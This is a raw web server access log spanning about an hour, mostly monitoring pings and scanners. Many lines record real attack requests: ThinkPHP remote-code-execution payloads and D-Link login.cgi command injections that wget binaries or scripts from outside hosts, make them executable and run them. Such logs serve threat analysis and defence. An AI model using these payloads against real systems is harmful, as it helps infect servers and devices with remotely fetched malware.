212.91.246.72 - - [07/Feb/2020:22:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [07/Feb/2020:22:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [07/Feb/2020:22:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [07/Feb/2020:22:14:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [07/Feb/2020:22:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.160.200.150 - - [07/Feb/2020:22:15:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:22:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.195.95 - - [07/Feb/2020:22:16:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.90.216.156 - - [07/Feb/2020:22:18:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.74.254 - - [07/Feb/2020:22:20:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.248.250.88 - - [07/Feb/2020:22:20:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:22:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.93.4.6 - - [07/Feb/2020:22:21:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.172.102.93 - - [07/Feb/2020:22:24:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:22:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.200.41 - - [07/Feb/2020:22:26:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.152.58.237 - - [07/Feb/2020:22:27:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:22:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.58.30.76 - - [07/Feb/2020:22:29:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.79.112.59 - - [07/Feb/2020:22:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:22:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.84.192.75 - - [07/Feb/2020:22:33:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.11.61.14 - - [07/Feb/2020:22:33:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:22:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [07/Feb/2020:22:34:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:22:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.0.43.177 - - [07/Feb/2020:22:36:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.88.195.112 - - [07/Feb/2020:22:40:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.80:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.81:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.83:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.82:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.85:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.87:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.86:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.84:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.88:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
221.231.126.2 - - [07/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.89:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.91.246.72 - - [07/Feb/2020:22:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.231.158.206 - - [07/Feb/2020:22:42:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.226.170 - - [07/Feb/2020:22:43:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.42.100.118 - - [07/Feb/2020:22:45:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:22:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.192.12 - - [07/Feb/2020:22:47:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
42.113.229.218 - - [07/Feb/2020:22:47:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.76.134 - - [07/Feb/2020:22:50:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.232.192.5 - - [07/Feb/2020:22:56:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
92.46.169.49 - - [07/Feb/2020:22:57:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.226.75 - - [07/Feb/2020:23:00:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [07/Feb/2020:23:02:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.197.180.33 - - [07/Feb/2020:23:04:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.197.180.33 - - [07/Feb/2020:23:04:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.102.125 - - [07/Feb/2020:23:04:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.75.215.171 - - [07/Feb/2020:23:06:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:23:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.194.136.221 - - [07/Feb/2020:23:07:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.12.18.18 - - [07/Feb/2020:23:08:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
134.175.122.130 - - [07/Feb/2020:23:08:26 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [07/Feb/2020:23:08:26 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [07/Feb/2020:23:08:27 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [07/Feb/2020:23:08:27 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [07/Feb/2020:23:08:28 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [07/Feb/2020:23:08:28 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [07/Feb/2020:23:08:29 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [07/Feb/2020:23:08:29 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [07/Feb/2020:23:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [07/Feb/2020:23:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.65.240.126 - - [07/Feb/2020:23:10:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [07/Feb/2020:23:10:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [07/Feb/2020:23:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [07/Feb/2020:23:10:40 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
196.219.167.35 - - [07/Feb/2020:23:10:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [07/Feb/2020:23:10:48 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [07/Feb/2020:23:10:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [07/Feb/2020:23:11:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [07/Feb/2020:23:11:36 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [07/Feb/2020:23:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [07/Feb/2020:23:11:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
120.232.151.36 - - [07/Feb/2020:23:12:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.106.171.78 - - [07/Feb/2020:23:14:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.213.242.179 - - [07/Feb/2020:23:17:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:23:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
